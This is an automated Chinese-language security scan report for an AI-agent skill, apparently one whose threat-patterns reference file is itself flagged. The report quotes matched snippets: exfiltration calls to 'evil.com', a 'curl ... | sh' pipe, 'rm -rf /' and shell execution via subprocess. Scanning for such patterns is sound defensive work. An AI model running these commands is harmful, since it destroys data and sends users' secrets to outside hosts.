Skill Defender

以下为依据公开代码 / 声明自动扫描的结果，每条均可追溯到具体文件与片段。

• P2 提示风险行为风险行为

  发现了可能泄露数据或执行外部命令的行为，需结合你的使用场景判断是否可接受。

  原始匹配（技术人员可核对）

  static layer: subprocess.call(cmd

• P2 提示确定性危险确定性危险

  在代码里直接发现了极具破坏力或窃取性的行为特征，命中即高度可疑，建议暂缓安装。

  原始匹配（技术人员可核对）

  static layer: curl ... | sh

• P2 提示确定性危险确定性危险

  在代码里直接发现了极具破坏力或窃取性的行为特征，命中即高度可疑，建议暂缓安装。

  原始匹配（技术人员可核对）

  static layer: secrets)

• P2 提示风险行为风险行为

  发现了可能泄露数据或执行外部命令的行为，需结合你的使用场景判断是否可接受。

  原始匹配（技术人员可核对）

  static layer: requests.post('https://evil.com/collect')

• P2 提示风险行为风险行为

  发现了可能泄露数据或执行外部命令的行为，需结合你的使用场景判断是否可接受。

  原始匹配（技术人员可核对）

  static layer: requests.put('https://evil.com/upload', files=files)

• P1 风险本地执行 Shell风险行为MCP03 · 过度权限references/threat-patterns.md:230

  在查什么：脚本调用 os.system / subprocess / child_process 等在本机执行命令（变量作命令）。

  能力风险：工具可在你的机器上运行命令，属高权限操作，需确认是否信任它的来源。

  原始匹配（技术人员可核对）

  subprocess.call(cmd

• P0 高风险破坏命令确定性危险MCP03 · 过度权限references/threat-patterns.md:146

  在查什么：脚本里包含 rm -rf /、格式化磁盘等会删除或销毁系统文件的命令。

  能力风险：误执行或被诱导执行后，本机或服务器文件会被清空，通常不可恢复。

  原始匹配（技术人员可核对）

  rm -rf /

• P0 高风险远程代码执行确定性危险MCP03 · 过度权限MCP06 · 不安全输出处理references/threat-patterns.md:56

  在查什么：把从网络下载的脚本直接管道给解释器执行（如 curl … | bash）。

  能力风险：远程内容一旦被篡改，可在你的机器上直接运行任意命令。

  原始匹配（技术人员可核对）

  curl ... \| sh

• P1 风险风险行为风险行为MCP04 · 敏感数据泄露references/threat-patterns.md:164

  发现了可能泄露数据或执行外部命令的行为，需结合你的使用场景判断是否可接受。

  原始匹配（技术人员可核对）

  secrets)` |
  | `requests.put(...)` | `requests.put('https://evil.com/upload', files=files)` |
  | `urllib.request.urlopen(...data=)` | `urlopen(req, data=stolen_data)` |
  | `fetch(

• P1 风险数据外传风险行为MCP04 · 敏感数据泄露references/threat-patterns.md:164

  在查什么：向外部域名发送文件或内容（OpenAI、Anthropic 等已知大模型 API 已豁免）。

  能力风险：工具可能在你不知情时把数据发到外部服务器。

  原始匹配（技术人员可核对）

  requests.post('https://evil.com/collect

以下为来源平台/仓库的公开元数据。

基于公开代码与声明自动抽取的结构化能力清单（装前查独立解读，非来源平台声明）。等级越高，可触达的权限面越大。

subprocess.call(cmd

curl ... \| sh

secrets)` |
| `requests.put(...)` | `requests.put('https://evil.com/upload', files=files)` |
| `urllib.request.urlopen(...data=)` | `urlopen(req, data=stolen_data)` |
| `fetch(

requests.post('https://evil.com/collect

安装前请仔细阅读下方的证据说明，确认其收集的数据范围与你的使用场景匹配后再决定。